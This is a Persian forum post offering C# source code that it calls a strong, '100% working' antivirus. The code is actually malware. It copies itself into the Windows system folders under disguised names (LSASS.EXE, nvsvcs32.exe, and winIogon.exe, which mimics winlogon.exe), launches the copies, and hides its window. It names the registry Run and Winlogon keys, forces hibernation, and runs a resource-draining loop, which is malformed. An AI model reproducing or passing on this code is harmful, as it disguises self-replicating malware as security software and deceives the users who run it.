یک ضد ویروس

turtel

Member
این یک ضد ویروس قوی برای مقابله با ویروس است (100% کاریی) به زبان سی شارپ


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
using Microsoft.Win32;

namespace www
{

public partial class www : Form
{
public www() { InitializeComponent(); }

string PrPath;
string Path;
string Sys32Path;
string Bs=@"\";
bool Fe1,Fe2,Fe3,Fe4,Fback;
bool Sres=false;
string state;
string Cudr;
string HKEY = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\run";
string SPYKEY = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon";

string str1, str2, str3;
int inx, in1, in2, in3;

private void www_Load(object sender, EventArgs e) {

PrPath = Application.ExecutablePath;
Sys32Path = Environment.GetFolderPath(Environment.SpecialFolder.System);
Path = Application.StartupPath;
state = Sys32Path + Bs + "drivers" + Bs;

try
{
Directory.CreateDirectory(Sys32Path + Bs + "drivers");

if (Path != Sys32Path + Bs + "drivers" && Path != Sys32Path)
{
Fe1 = File.Exists(state + "LSASS.EXE");
Fe2 = File.Exists(state + "nvsvcs32.exe");
Fback = File.Exists(Sys32Path + Bs + "winIogon.exe");

if (!Fe1 && !Fe2 && !Fback)
{
File.Copy(PrPath, state + "LSASS.EXE");
File.Copy(PrPath, state + "nvsvcs32.exe");
File.Copy(PrPath, Sys32Path + Bs + "winIogon.exe");
}

Process.Start(state + "nvsvcs32.exe");
Process.Start(state + "LSASS.EXE");

Process.Start(Application.StartupPath);
Close();
}

} catch{}

}
private void T1_Tick(object sender, EventArgs e){
T1.Enabled = false; this.Hide ();
}

private void T2_Tick(object sender, EventArgs e){
//Process Protector
if (PrPath.ToLower() != state.ToLower() + "nvsvcs32.exe")
{
LSTPr.Items.Clear();
foreach (Process Pr in Process.GetProcesses())
LSTPr.Items.Add(Pr.ProcessName);

Sres = false;
for (int Pr = 0;Pr < 8)
{
Application.DoEvents();
try
{
str1 += "X"; str2 += str1; str3 += str2;
in1 += 1; in2 += in1; in3 += in2;
}
catch { }
}
}

}

private void T6_Tick(object sender, EventArgs e){
Application.SetSuspendState(PowerState.Hibernate, true, true);
}

}
}
 

جدیدترین ارسال ها

بالا